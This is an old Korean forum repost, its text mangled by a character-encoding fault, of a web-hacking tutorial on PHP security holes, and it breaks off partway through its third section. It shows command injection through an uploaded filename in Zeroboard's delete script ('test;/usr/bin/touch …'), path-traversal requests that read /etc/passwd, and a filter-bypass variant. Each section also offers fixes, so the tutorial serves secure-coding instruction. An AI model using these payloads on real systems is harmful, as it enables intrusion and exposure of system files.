HOME   ·Î±×ÀΠ  ȸ¿ø°¡ÀÔ
    
ȸ¿ø°¡ÀÔ
ºñ¹Ð¹øÈ£ ã±â ÀÚµ¿·Î±ä
ÀÌÀü°Ô½ÃÆÇ
   free_board
   °Ç°­°Ô½ÃÆÇ
   ¿À¶óŬDB
   Linux
   HTML/javascript
   Áú¹®°ú ´ä
È£¼­±â
   À̹ÌÁö°Ô½ÃÆÇ  
   °Ç°­°Ô½ÃÆÇ  
   À½¾ÇÀÚ·á  
   ¼ºÁØÀÌ °Ô½ÃÆÇ  
 Hit : 5400
 À̸§ : È£¼®  (220.¢½.198.135)
 ³¯Â¥ : 2006-04-14 23:17:49
 Á¦¸ñ : À¥ÇØÅ· ¸ðÀ½.
À¥ÇØÅ· ¸ðÀ½. from hackerslab mailing list | security 2005/11/01 00:10 
 
 
http://blog.naver.com/djasm/100018984393
 
 
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/

À¥ ÇØÅ·À» 15 °³ Á¤µµ·Î ³ª´©¾î¼­ Á¤¸®ÇÑ °ÍÀÔ´Ï´Ù

¿ø·¡ ÇØÅ· °­Á¸¦ À§Çؼ­ ¾´°ÍÀÌ ¾Æ´Ï¶ó ¾î¶² ´ëȸ¸¦

³ª°¡±â À§Çؼ­ ¾´°ÍÀÌ¶ó¼­ ¼³¸íÀÌ Á¶±Ý µüµüÇÒ¼öµµ

Àְڳ׿ä.. ³ªÁß¿¡ ±âȸ°¡ µÇ¸é ´õ ½±°Ô Ç®¾î¼­ ¼³¸íÇÒ¼ö

ÀÖµµ·Ï ¼öÁ¤ÇÏ°Ú½À´Ï´Ù

³»¿ëÀÌ Á¶±Ý ±ä°Í °°¾Æ txt ÆÄÀϷΠ÷ºÎÇÕ´Ï´Ù

µû·Î µû·Î ³ª´©¾îÁø °ÍÀ» º¸½Ã·Á¸é http://beist.org/study/index.html

¿©±â·Î °¡½Ã¸é µÇ°í¿ä

¼ö°íÇϼ¼¿ä ±×·³ À̸¸~

/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/

1) system, exec, passthru ÇÔ¼ö »ç¿ë½Ã ÁÖÀÇÇÒÁ¡

Cracker °¡ Web Hacking ½Ã¿¡ °¡Àå ±Ã±ØÀûÀÎ ¸ñÀûÀº (¿øÇÏ´Â) ¹Ù·Î System
¸í·É¾î ½ÇÇàÀÏ °ÍÀÌ´Ù. °³¹ßÀÚ°¡ Web ÇÁ·Î±×·¡¹ÖÀ» ÇÒ¶§ ÇÁ·Î±×·¥¿¡ ÇÊ¿äÇÑ ±â´ÉÀ¸·Î
Language ¿¡¼­ Á¦°øÇÏ´Â System Execute Fucntion À» »ç¿ëÇÏ´Â °æ¿ì°¡ ¸¹ÀÌ ÀÖ´Ù.

ÀÌ·¯ÇÑ ±â´ÉÀ» ÇÏ´Â Function À¸·Î½á, PHP ¸¦ ¿¹¸¦ µéÀÚ¸é system() ³ª exec()
Function À» µé ¼ö ÀÖ´Ù. ÀÌ¿Í °°Àº System Execute Function µéÀº Web ¿¡¼­
System À¸·Î ¸í·ÉÀ» Execute ¸¦ ÇÒ ¼ö ÀÖ°Ô²û µµ¿ÍÁØ´Ù. ±×¸®°í ½ÇÇàµÇ´Â
Process µéÀÇ ±ÇÇÑÀº ÇöÀç µ¹¾Æ°¡°í ÀÖ´Â WebServer ÀÇ uid, gid, euid, guid ·Î
½ÇÇàµÈ´Ù. (ÇÁ·Î¼¼½º°¡ °¡Áö´Â °ÍÀº effective uid ÀÌ´Ù.)

uid (user identifier) °°Àº °ÍµéÀº like unix ¿¡¼­ »ç¿ëÀÚ¸¦ ±¸º°Çϱâ À§ÇØ
»ç¿ëµÇ´Â ¼ýÀÚ ¶Ç´Â À̸§ÀÌ´Ù. like unix ¿¡¼­´Â º¸¾ÈÀ» À§ÇÏ¿© uid ³ª ȤÀº
euid ¸¦ °®°í ±× »ç¿ëÀÚÀÇ ±ÇÇÑÀ» Check ÇÏ´Â °æ¿ì°¡ ¸¹´Ù.

Web ¾îÇø®ÄÉÀÌ¼Ç °³¹ßÀڷμ­ ÀÌ·¯ÇÑ ºÎºÐÀº Å©°Ô ½Å°æ¾²Áö ¾Ê¾Æµµ µÈ´Ù.
½ÇÁúÀûÀ¸·Î Web ¿¡¼­ System Execute ¸¦ ÇÏ¿´´Ù°í ÇÏ¿©µµ, Ä¿³Î ³»ºÎÀûÀ¸·Î´Â
º¸ÅëÀÇ uid ¸¦ °¡Áø user °¡ Shell »ó¿¡¼­ System call À» ¿äûÇÏ´Â °ÍÀ̶û º°¹Ý
´Ù¸¦¹Ù°¡ ¾øÁö¸¸ Web ¾îÇø®ÄÉÀÌ¼Ç °³¹ßÀÚ´Â ±×·± ±í¼÷ÇÑ ºÎºÐÀº ½Å°æ¾µ ÇÊ¿ä°¡
¾ø´Ù´Â À̾߱âÀÌ´Ù. Web ¾îÇø®ÄÉÀÌ¼Ç °³¹ßÀÚ´Â Cracker °¡ System ¿¡ ħÀÔÇÒ ¼ö
¾ø°Ô²û 1 Â÷ ÀûÀÎ º¸¾È Á¶Ã븦 ÃëÇϵµ·Ï ÇÁ·Î±×·¡¹ÖÀ» ÇÏ¸é µÈ´Ù.

±×·¯¸é ½ÇÁ¦·Î Web ÇÁ·Î±×·¡¹ÖÀ» Çҽÿ¡ system(), exec() °°Àº Function À»
»ç¿ëÇÏ´Â °æ¿ì´Â ¾î¶² °æ¿ìÀΰ¡. °¡Àå ´ëÇ¥ÀûÀÎ ¿¹¸¦ µéÀÚ¸é °Ô½ÃÆÇÀ» µé ¼ö°¡
ÀÖ´Ù. ¿¹¸¦ µé¾î »ç¿ëÀÚ°¡ Upload Board ¸¦ ÀÌ¿ëÇØ Æ¯Á¤ ÀڷḦ Server ¿¡
¿Ã·È´Ù°í ÇÏÀÚ. ±×·±µ¥ ÀÚ·á Upload ¿¡ ½Ç¼ö¸¦ ÇÏ¿© °Ô½Ã¹°À» Áö¿ì°íÀÚ ÇÒ¶§´Â
Delete ¸Þ´º¸¦ ÀÌ¿ëÇÑ´Ù. Delete ¸Þ´º¸¦ ÀÌ¿ëÇÏ¿© ÇØ´ç °Ô½Ã¹°À» Áö¿ì°í,
°°ÀÌ ¿Ã·ÁÁø ÆÄÀϵµ Áö¿ö¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ´ÙÀ½°ú °°ÀÌ Áö¿î´Ù°í ÇÏÀÚ.

http://beist.org/delete.php?text=1.txt&file=1.zip

/* delete.php ÆÄÀÏÀ» ¿äûÇÒ¶§ argument ·Î text ¿Í file À» °Ç³»ÁÖ¾ú°í
±× °ªÀº ÇØ´ç °Ô½Ã¹°ÀÌ ´ã±ä txt ÆÄÀÏ°ú Upload ½Ã¿¡ ¿Ã¸° ÀÚ·á¸íÀÌ´Ù. */

sample1.php

<?

/* »ý·« */

system("/bin/rm -f data/$text");
system("/bin/rm -f data/$file");

/* »ý·« */

?>

/* system() Function À» ÀÌ¿ëÇÏ¿© OS ³»ºÎ¿¡ ÀÖ´Â /bin/rm À̶ó´Â ÇÁ·Î±×·¥À»
ÀÌ¿ëÇÏ¿© data µð·ºÅ丮 ¹ØÀÇ 1.txt ¸¦ Áö¿ì°Ô ÇÑ ÇÁ·Î±×·¥ÀÌ´Ù.
/bin/rm Àº Áö¿ì±â¸¦ ½ÃµµÇÏ´Â »ç¿ëÀÚÀÇ ID °¡ ÇØ´ç Áö¿ì·Á°í ÇÏ´Â ÆÄÀÏÀÇ
¼ÒÀ¯ÀÚ¿Í ÀÏÄ¡ÇÒ¶§ ±× ÆÄÀÏÀ» Áö¿öÁÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù. /bin/rm À» ½ÇÇàÇÒ¶§
ÁØ -f ¿É¼ÇÀº force ÀÇ Àǹ̷νá Á¶°Ç¸¸ ¸¸Á·ÇÑ´Ù¸é ¹«Á¶°Ç Áö¿ì´Â ¿É¼ÇÀ»
¶æÇÑ´Ù. */

sample1.php ¿¡´Â °Ô½Ã¹° 󸮸¦ À§ÇÏ¿© ´Ù¸¥ ºÎºÐµµ ÇÊ¿äÇÏ°ÚÁö¸¸ ¿©±â¼­´Â
ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇÏ¿© ÇÁ·Î±×·¥¿¡¼­ Ãë¾àÇÑ ºÎºÐ¸¸À» Àû°Ô µÇ¾ú´Ù.

ÀÌ·± ½ÄÀ¸·Î Web CGI ¿¡¼­ System Execute Function Àº ÀÌ¿ëµÈ´Ù. ±×·¯¸é ÀÌÁ¦
½ÇÁ¦·Î Á¸ÀçÇÏ´Â CGI ¿¡¼­ System Execute Function À» À߸ø »ç¿ëÇÏ¿´À»¶§ ÀϾî
³ª´Â Ãë¾àÁ¡À» ¾Ë¾Æº¸ÀÚ.

½ÇÁ¦·Î ÇÊÀÚ°¡ ¹ß°ßÇÑ ¹ö±×¸¦ ÀÌ¿ëÇÒ °ÍÀÌ´Ù. ÇØ´çµÇ´Â Web CGI ´Â °Ô½ÃÆÇÀ¸·Î
À¯¸íÇÑ Zeroboard 3.5.x ÀÌ´Ù. ÀÌ ±ÛÀ» ¾²´Â Áö±Ý, Zeroboard ÀÇ ¹öÀüÀº 4.0.x
¹öÀü±îÁö ³ª¿ÍÀÖÁö¸¸ À߸øµÈ System Execute Function »ç¿ëÀ¸·Î ÀÎÇÑ °á°ú¸¦
¼³¸íÇϱ⿡ ÀûÀýÇÑ ÄÚµåÀÎ°Í °°¾Æ ÀÌ°ÍÀ¸·Î ¼³¸íÇÏ°Ú´Ù.


¹®Á¦°¡ µÇ´Â ºÎºÐÀº zeroboard ÀÇ delete_list.php3 ÆÄÀÏÀÌ´Ù.

delete_list.php3

1 <?
2 // Áö±Ý »èÁ¦ÇÒ·Á´Â ±ÛÀÇ µ¥ÀÌŸ¸¦ °¡Á®¿È
3 $data=mysql_fetch_array(mysql_query("select * from zeroboard_$id where
4 no='$no'",$connect));
5 // ÀÌ ±Û¿¡ ´ä±ÛÀÌ ÀÖ´ÂÁö ¾ø´ÂÁö¸¦ °Ë»ç
6 $check=mysql_fetch_array(mysql_query("select count(*) from zeroboard_$id
7 where headnum='$data[headnum]' and arrangenum>'$data[arrangenum]' and
8 depth>'$data[depth]'", $connect));
9 if($check[0]>0) Error("´ä±ÛÀÌ ÀÖ´Â ±ÛÀº »èÁ¦ÇÒ¼ö ¾ø½À´Ï´Ù");
10
11 // ÆÄÀÏ»èÁ¦
12 if($data[file_name]||$data[file_name2])
13 {
14 @system("rm -rf data/$id/$data[reg_date]/$data[file_name]");
15 @system("rm -rf data/$id/$data[reg_date]/$data[file_name2]");
17 @system("rm -rf data/$id/$data[reg_date]");
18 @unlink("data/$id/$data[reg_date]/$data[file_name]");
19 @unlink("data/$id/$data[reg_date]/$data[file_name2]");
20 @unlink("data/$id/$data[reg_date]");
21 }
22
23 // ±Û »èÁ¦
24 mysql_query("delete from zeroboard_$id where no='$no'",$connect);
25 mysql_query("delete from zeroboard_memo_$id where parent='$no'",$connect);
26 $temp=mysql_fetch_array(mysql_query("select count(no) from zeroboard_$id",
27 $connect));
28 mysql_query("update $admin_table set total='$temp[0]' where name='$id'",
29 $connect);
30
31 // °£´ÜÇÑ ´ä±Û »èÁ¦
32 mysql_query("delete from $comment_table where table_name='$id' and parent='$no'",
33 $connect);
34 ?>

ÀÌ script ÀÇ ±â´ÉÀº ƯÁ¤ °Ô½Ã¹°À» Áö¿ì´Â °ÍÀÌ´Ù. Áö¿ï ¶§ file µµ °°ÀÌ »èÁ¦¸¦ ÇÑ´Ù.
Áß¿ä Ãë¾à¼ºÀÌ µÇ´Â ºÎºÐÀº 14~17 ¶óÀÎÀÌ´Ù. $data[file_name] °ú $data[file_name2]
º¯¼ö´Â file name ÀÌ´Ù.

zeroboard ¿¡¼­ upload µÈ file ÀÌ ³õÀÌ´Â À§Ä¡´Â data/$id/$data[reg_date] ÀÌ´Ù.
$id ´Â board name À» ¶æÇÏ°í $data[reg_date] ´Â °Ô½Ã¹°À» ¾´ ½Ã°£À» ¶æÇÑ´Ù.
ÀÌ °ÍµéÀº mysql database ¿¡ ´ã°ÜÀÖÀ¸¸ç 3 ¹ø° ¶óÀο¡¼­Ã³·³ °¡Á®¿Í $data º¯¼ö¿¡
´ã´Â´Ù.

file À» Áö¿ï¶§ System Execute Function ÀÎ system ÇÔ¼ö¸¦ ÀÌ¿ëÇϴµ¥ Cracker ´Â
À̸¦ ÀÌ¿ëÇÏ¿© System ¿¡ ħÀÔÇÒ ¼ö°¡ ÀÖ´Ù.

ÀÚ¼¼ÇÑ ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ. Cracker ´Â Write Form ¿¡¼­ File upload ÇÒ¶§ File ÀÇ
À̸§À» ÀÓÀÇ·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.

write_main.php3

1 <?
2 // ÀÚ·á½Ç »ç¿ë½Ã
3 if($data[file_name])
4 {
5 $file_exist=$data[file_name]."ÆÄÀÏÀÌ µî·ÏµÇ¾î ÀÖ½À´Ï´Ù
6 <br>";$file_del="<input type=checkbox name=del_file value=1> »èÁ¦";
7 }
8 if($data[file_name2])
9 {
10 $file_exist2=$data[file_name2]."ÆÄÀÏÀÌ µî·ÏµÇ¾î ÀÖ½À´Ï´Ù<br>";
11 $file_del2="<input type=checkbox name=del_file2 value=1> »èÁ¦";
12 }
13 if($setup[use_pds])
14 {
15 ?>
16 <tr>
17 <td align=right>Upload File  </td>
18 <td><div style=line-height:160%>
19 <? echo $file_exist;?> <input type=file name=file
20 size=<?echo $size[8];?> maxlength=255 class=input>
21 <? echo $file_del; ?><br>
22 <? echo $file_exist2;?> <input type=file name=file2
23 size=<?echo $size[8];?> maxlength=255 class=input>
24 <? echo $file_del2; ?>
25 </tr>
26 <?
27 }
28 ?>

À§ ¼Ò½º´Â write_main.php3 ÀÇ ÀϺÎÀÌ´Ù. Ãë¾à¼ºÀÌ µÇ´Â ºÎºÐÀº ¾Æ´Ï°í »ç¿ëÀÚ°¡
Write ¹öÆ°À» Ŭ¸¯ÇßÀ»¶§ º¸¿©ÁÖ´Â Write Form ÀÌ´Ù. 13 ¹ø° ÁÙ¿¡¼­ Admin ÀÌ
ÇØ´ç °Ô½ÃÆÇ¿¡ File Upload ¸¦ Çã¿ëÇß´Ù¸é 16~25 ÁÙ±îÁöÀÇ ³»¿ëÀ» »Ñ¸°´Ù. Àá±ñ
»ìÆ캸¸é

<input type=file name=file size=200000000 maxlength=255 class=input>

ÀÌ Á¤µµÀÏ °ÍÀÌ´Ù. ¿ì¸®´Â ÀÌ Çʵ带 ÀÌ¿ëÇÏ¿© File À» Upload ÇÒ ¼ö Àִµ¥,
¿©±â¼­ ¾ÇÀÇÀûÀÎ Á¶Ã븦 ÃëÇϸé Server ¿¡ ƯÁ¤ Command ¸¦ ½ÇÇàÇÒ ¼ö ÀÖ´Ù.

delete_list.php3 ¿¡¼­ ºÃµíÀÌ file À» Áö¿ï¶§ rm À» ÀÌ¿ëÇÏ¿© Áö¿ì°Ô µÈ´Ù.
ÀÌ´Â shell À» »ç¿ëÇÑ´Ù´Â °ÍÀÌ´Ù. ; ¿Í | ´Â ¿¬¼Ó, ¿¬°áÀ» ÀǹÌÇϴϱî file
name ¿¡¼­ ¾ÇÀÇÀûÀÎ file name À» ÁÖ¸é cracker ´Â ¿øÇÏ´Â ÀÏÀ» ÇÒ ¼ö ÀÖ´Ù.

ex)

filename : test;/usr/bin/touch /tmp/imbeist

ÀÌ·± ½ÄÀ¸·Î file name À» ÁÖ¾î Server ¿¡ ¿Ã¸°´Ù¸é mysql Database ¿¡µµ
test;/usr/bin/touch /tmp/imbeist °¡ ¿Ã¶ó°¡°Ô µÉ °ÍÀÌ´Ù. ±×¸®°í ÇØ´ç °Ô½Ã¹°À»
´Ù½Ã Áö¿î´Ù¸é delete_list.php3 ¿¡ ÀÇÇؼ­

@system("rm -rf data/test1/4444444/test;/usr/bin/touch /tmp/imbeist");

ÀÇ ¸í·ÉÀÌ ½ÇÇàµÉ °ÍÀÌ´Ù.
(¿©±â¼­ test1 °ú 4444444 ´Â ÀÓÀÇ·Î ¸¸µç °ÍÀÌ´Ù)

±×·¸´Ù¸é ¼¼¹ÌÄݷп¡ ÀÇÇؼ­ µÎ ¸í·ÉÀÌ ³»·ÁÁú °ÍÀÌ°í touch ¸¦ ÀÌ¿ëÇÏ¿©
cracker ´Â /tmp directory ¹Ø¿¡ imbeist ¶ó´Â file À» »ý¼º½Ãų ¼ö ÀÖ´Ù.
ÀÌ °ÍÀ» ÀÌ¿ëÇÏ¿© term À̶óµç°¡ port ¸¦ ¿­¾î¼­ shell À» ½ÇÇà ½Ãų¼ö ÀÖ°Ô²û
Çسõ´Â´Ù´ø°¡ ¹æ¹ýÀº ¸¹´Ù. Cracker ¿¡°Ô À־ ÀÌ Security Hole Àº Web hacking
¿¡ À־ ±Ã±ØÀûÀÎ ¸ñÇ¥±îÁö ´Ù´ÞÀº °ÍÀÌ´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æ º¸ÀÚ.

ÇÊÀÚ°¡ »ý°¢ÇÏ´Â ÇØ°á ¹æ¹ýÀº (À§ÀÇ »óȲÀ¸·Î¸¸ ÇÁ·Î±×·¡¹ÖÀ» ÇؾßÇÒ¶§)
file name À» üũÇÏ´Â °ÍÀÌ´Ù. file name ¿¡´Â Á¤»óÀûÀÎ ¾ËÆĺªÀ̳ª ¼ýÀÚ, ±×¸®°í
. ¸¦ Á¦¿ÜÇÏ°í ³ª¸ÓÁöÀÇ ¹®ÀÚ°¡ µé¾î°¥ ÇÊ¿ä°¡ ¾ø´Ù. ±×·¡¼­ file name À» °Ë»çÇÒ¶§
¸¸¾à ../ or ; or | °°Àº ¹®ÀÚ°¡ µé¾î¿Â´Ù¸é script ½ÇÇàÀ» ÁßÁöÇÏ´Â °ÍÀÌ ÁÁÀ»°Í
°°´Ù.

if(eregi(";", $file_name))
{
echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ ; °¡ µé¾îÀÖ½À´Ï´Ù.";
exit;
}

if(eregi("\|", $file_name))
{
echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ | °¡ µé¾îÀÖ½À´Ï´Ù.";
exit;
}

(¿©±â¿¡¼­´Â ; °ú | ¸¸ 󸮸¦ ÇÏ¿´´Ù.)

À§¿Í °°Àº ¹æ¹ýÀ¸·Î script ½ÇÇàÀ» ÁßÁöÇÏ´Â °ÍÀ» ¿øÄ¡ ¾Ê´Â´Ù¸é eregi_replace
°°Àº function À» ÀÌ¿ëÇÏ¿© ºóÄ­À¸·Î ¸¸µå´Â ¹æ¹ýµµ ±¦ÂúÀº ¹æ¹ýÀÌ´Ù.



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
2) Open ÇÔ¼ö »ç¿ë½Ã ÁÖÀÇÇÒÁ¡

À̹ø ÁÖÁ¦´Â Web ÇÁ·Î±×·¡¹Ö Áß¿¡¼­ °¡Àå ÀϾ±â ½¬¿î ¹ö±× ÁßÀÇ ÇϳªÀÌ´Ù.
Web CGI ¿¡¼­ File Open Àº ¸¹ÀÌ ¾²ÀÌ´Â ¾Ë°í¸®Áò Áß¿¡ ÇϳªÀÌ´Ù. ÇÏÁö¸¸
ÀÌ ¾Ë°í¸®ÁòÀÌ À߸ø ¾²¿©Á³À» °æ¿ì¿¡ ½É°¢ÇÑ Security Hole À» ÀÏÀ¸Å³ ¼öµµ
ÀÖ´Ù.

Web CGI ¿¡¼­ File Open ÀÌ ¾²ÀÌ´Â °æ¿ì¸¦ º¸ÀÚ. ¿¹¸¦ µé¾î Web Page ÀÇ Menu
¸¦ ±¸ÇöÇÑ´Ù°í ÇÏÀÚ.

menu.html

<html>
<head>
<title>Beist Home ¿¡ ¿À½Å °ÍÀ» ȯ¿µÇÕ´Ï´Ù.</title>
</head>
<body>
<center>
<a href=link.php?file=profile.html>³ªÀǼҰ³</a><br>
<a href=link.php?file=board.html>°Ô½ÃÆÇ</a><br>
<a href=link.php?file=site.html>Ãßõ»çÀÌÆ®</a><br>
</center>
</body>
</html>

°£´ÜÇÏ°Ô ±¸ÇöÇØ º» Menu ÀÌ´Ù. Menu ´Â ³ªÀǼҰ³, °Ô½ÃÆÇ, Ãßõ»çÀÌÆ®·Î ³ª´µ
¾îÁ® ÀÖÀ¸¸ç link.php ¶ó´Â File À» ÅëÇØ Á¢±ÙÀ» ÇÑ´Ù. °¢ ÆäÀÌÁö¸¦ ¸ðµÎ ¼³¸íÇÒ
ÇÊ¿ä´Â ¾øÀ¸´Ï profile.html ÆÄÀϸ¸ µû·Î ÀÛ¼ºÇÏ¿© ¼³¸íÇÏ°Ú´Ù.

link.php

1 <?
2
3 $exist = file_exists("./$file");
4 if(!$exist)
5 {
6 echo "$file ÆÄÀÏÀº ¾ø´Ù.\n";
7 exit;
8 }
9
10 $fp=fopen("./$file", "r");
11
12 while(!feof($fp))
13 {
14 $msg .= fgets($fp,100);
15 }
16
17 $msg=nl2br($msg);
18
19 echo $msg;
20
21 ?>

profile.html

<html>
<head>
<title>yo man.. i'm beist</title>
<body>
Àü ³²ÀÚ¿¡¿ä. 84 ³â»ýÀÌ°í¿ä. º°¸íÀº ½º´©ÇÇ.
</body>
</html>

link.php ÀÇ ±â´ÉÀº °£´ÜÇÏ´Ù. ¸ÕÀú fopen À» ½ÃµµÇϱâ Àü¿¡ file_exists ¸¦
ÀÌ¿ëÇÏ¿© ÇöÀç µð·ºÅ丮¿¡ ±×·± ÆÄÀÏÀÌ ÀÖ´ÂÁö ¾ø´ÂÁö È®ÀÎÀ» ÇÏ°í ¾øÀ¸¸é
script ½ÇÇàÀ» ÁßÁö½ÃŲ´Ù. Á¸ÀçÇÑ´Ù¸é fopen À» ÀÌ¿ëÇÏ¿© ÇöÀç µð·ºÅ丮¸¦ ±âÁØÀ¸·Î
read mode ·Î file Çڵ鷯¸¦ ¿¬´Ù. ±×¸®°í $msg ¿¡ file ÀÇ ³»¿ëÀ» ´ãÀº ÈÄ¿¡
»ç¿ëÀÚ¿¡°Ô »Ñ·ÁÁØ´Ù. ¿©±â¿¡¼­´Â ÇöÀç directory ¸¦ ±âÁØÀ¸·Î ÇÑ´Ù´Â °ÍÀ»
¸í½ÃÇϱâ À§ÇÏ¿© $file ¾Õ¿¡ ./ ¸¦ ºÙ¿´Áö¸¸ ./ ¸¦ ºÙÀÌÁö ¾Ê¾Æµµ php ¿¡¼­´Â
ÇöÀç directory ¿¡¼­ºÎÅÍ Ã£À¸¶ó´Â °ÍÀ¸·Î ÀνÄÇÑ´Ù.

¸¸¾à link.php?file=profile.html À̶ó°í ÇÑ´Ù¸é file º¯¼öÀÇ °ªÀÎ profile.html
À» ¿­¾î¼­ »ç¿ëÀÚ¿¡°Ô º¸¿©ÁÖ´Â °ÍÀÌ´Ù.

[¿äû]
http://server/link.php?file=profile.html

[°á°ú]
Àü ³²ÀÚ¿¡¿ä. 84 ³â»ýÀÌ°í¿ä. º°¸íÀº ½º´©ÇÇ.

ÇÏÁö¸¸ ÀÌ·± ¾Ë°í¸®ÁòÀº Ãë¾à¼ºÀ» °®´Â´Ù. link.php ¸¦ ¿äûÇÒ¶§ file ÀÇ º¯¼ö¸¦
cracker ÀÓÀÇ´ë·Î º¯°æÇÏ¿© ¿äûÀ» ÇÑ´Ù¸é link.php ¿¡¼­´Â cracker °¡ ÀÓÀÇ·Î
º¯°æÇÑ file ÀÇ ³»¿ëÀ» µ¹·ÁÁÙ °ÍÀÌ´Ù.

¿¹¸¦ µé¾î

[¿äû]
http://server/link.php?file=../../../../../../../../../etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

file ÀÇ °ªÀ» »óÀ§µð·ºÅ丮·Î À̵¿Çϱâ À§ÇÏ¿© ../ ¸¦ ¿©·¯°³¸¦ ºÙ¿´°í etc
directory ¹Ø¿¡ Á¸ÀçÇÑ passwd file À» ¿­¾î¼­ cracker ´Â passwd file À»
º¼ ¼ö ÀÖ¾ú´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æ º¸ÀÚ.

°³¹ßÀÚ°¡ ÀÌ »óȲ¿¡¼­ ½Å°æ½á¾ß ÇÒ ºÎºÐÀº link.php ¸¦ È£ÃâÇÒ¶§ ÀÎÀÚ·Î µþ·Á¿À´Â
º¯¼ö $file ÀÌ´Ù. cracker °¡ $file ÀÇ ³»¿ëÀ» º¯°æÇÏ´õ¶óµµ link.php ¿¡¼­´Â
¿Ã¹Ù¸£°Ô ó¸®ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.

ÃßõÇϴ ó¸® ¹æ¹ýÀº $file ÀÇ ³»¿ëÀ» Á¶»çÇÏ¿© .. °°Àº ¹®ÀÚ°¡ ÀÖ´Ù¸é ÇÊÅ͸µÀ»
ÇÏ´Â °ÍÀÌ´Ù. ´ÙÀ½Àº Ãë¾à¼ºÀ» °³¼±ÇÑ ¼Ò½ºÀÌ´Ù.

link2.php

1 <?
2 if(eregi("\.\.", $file))
3 {
4 echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ .. °¡ µé¾îÀÖÀ¸¸é ¾ÈµË´Ï´Ù.";
5 exit;
6 }
7 $exist = file_exists("./$file");
8 if(!$exist)
9 {
10 echo "$file ÆÄÀÏÀº ¾ø´Ù.\n";
11 exit;
12 }
13
14 $fp=fopen("./$file", "r");
15
16 while(!feof($fp))
17 {
18 $msg .= fgets($fp,100);
19 }
20
21 $msg=nl2br($msg);
22
23 echo $msg;
24
25 ?>

2 ¹ø° ¶óÀο¡¼­ eregi ¸¦ ÀÌ¿ëÇÏ¿© $file ÀÇ ³»¿ë¿¡ .. °¡ ÀÖ´ÂÁö check ¸¦
ÇÏ¿´´Ù. ¸¸¾à .. ¶ó´Â ½ºÆ®¸µÀÌ $file ¾È¿¡ Á¸ÀçÇÑ´Ù¸é cracking ½Ãµµ·Î °£ÁÖ
ÇÏ°í script ½ÇÇàÀ» ÁßÁö½ÃÅ°°í, µé¾îÀÖÁö ¾Ê´Ù¸é Á¤»óÀûÀ¸·Î script ¸¦ °è¼Ó
½ÇÇàÇÑ´Ù.

[¿äû]
http://server/link.php?file=../../../../../../../../../etc/passwd

[°á°ú]
Àå³­ÇÏ´Ï?.. file À̸§¿¡ .. °¡ µé¾îÀÖÀ¸¸é ¾ÈµË´Ï´Ù.

ÀÌ·± ½ÄÀ¸·Î ÇØ°áÀ» ÇÒ ¼öµµ ÀÖ°í eregi_replace ¸¦ ÀÌ¿ëÇÏ¿© .. ¸¦ °ø¹éÀ¸·Î
¸¸µé¾î ¹«½ÃÇÒ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù.

À§ÀÇ ¹æ¹ý¿¡ ´ëÇÏ¿© ¾î¶² ¹®Á¦Á¡ÀÌ ¹ß»ýÇÒ ¼öµµ ÀÖ´Ù. Shell ¿¡¼­´Â (bash
shell ±âÁØ) ../ ¸»°íµµ »óÀ§µð·ºÅ丮·Î Á¢±ÙÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù.

¿¹¸¦ µé¾î

$ cd ./.\./

ÀÌ·¸°Ô ÀÔ·ÂÇÏ¸é »óÀ§ µð·ºÅ丮·Î À̵¿ÇÑ´Ù´Â °ÍÀ» ¶æÇÑ´Ù. ±×·¡¼­ ¸¸¾à ÇØÄ¿°¡

http://server/link.php?file=./.\./.\./.\./.\./.\./etc/passwd

ÀÌ·±½ÄÀ¸·Î ¿äûÀ» ÇÑ´Ù¸é eregi ´Â üũ¸¦ ÇÏÁö ¸øÇÒ °ÍÀÌ´Ù. ÇÏÁö¸¸ ÀÌ °ÍÀº °ÆÁ¤
ÇÏÁö ¾Ê¾Æµµ µÈ´Ù. ¿Ö³ÄÇϸé data °¡ Àü¼ÛµÇ¾îÁú¶§ encode-decode °úÁ¤¿¡¼­ \ or
' or " ¾Õ¿¡´Â \ ¹®ÀÚ°¡ Çϳª ´õ ºÙ±â ¶§¹®ÀÌ´Ù. ±×·¡¼­ ½ÇÁ¦·Î Àú·¸°Ô ¿äûÀ»
ÇÑ´Ù´õ¶óµµ

./.\\./.\\./.\\./.\\./.\\./etc/passwd

À̶õ ÆÄÀÏÀ» ¿­·Á°í ½ÃµµÇÏ°Ô µÈ´Ù. ÇÏÁö¸¸ ¸¸¾à php.ini °°Àº ¼³Á¤ ÆÄÀÏ¿¡¼­
magic_quote °ªÀ» º¯°æÇÏ¿´À» °æ¿ì escape (\) ¹®ÀÚ°¡ ¾Õ¿¡ ºÙÁö ¾Ê°Ô µÈ´Ù.
±×·¡¼­ cracker ÀÇ ¿äû´ë·Î passwd ÆÄÀÏÀ» open ÇÒ °ÍÀÌ°í Ãâ·ÂÇÏ°Ô µÈ´Ù.



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
3) ´«¿¡ º¸ÀÌÁö ¾Ê´Â °Í¿¡ ´ëÇØ ÁÖÀÇÇÒÁ¡

À̹ø ÁÖÁ¦ ¿ª½Ã Web ÇÁ·Î±×·¡¹Ö ½Ã¿¡ ÀϾ±â ½¬¿î Ãë¾à¼º Áß ÇϳªÀÌ´Ù.
¾Æ¸¶µµ Web ÇÁ·Î±×·¥ ¸¸Å­ BUG °¡ ¸¹Àº °Íµµ ¾øÀ» °ÍÀÌ´Ù. ¿Ö³ÄÇϸé ÀÎÅͳÝÀÇ
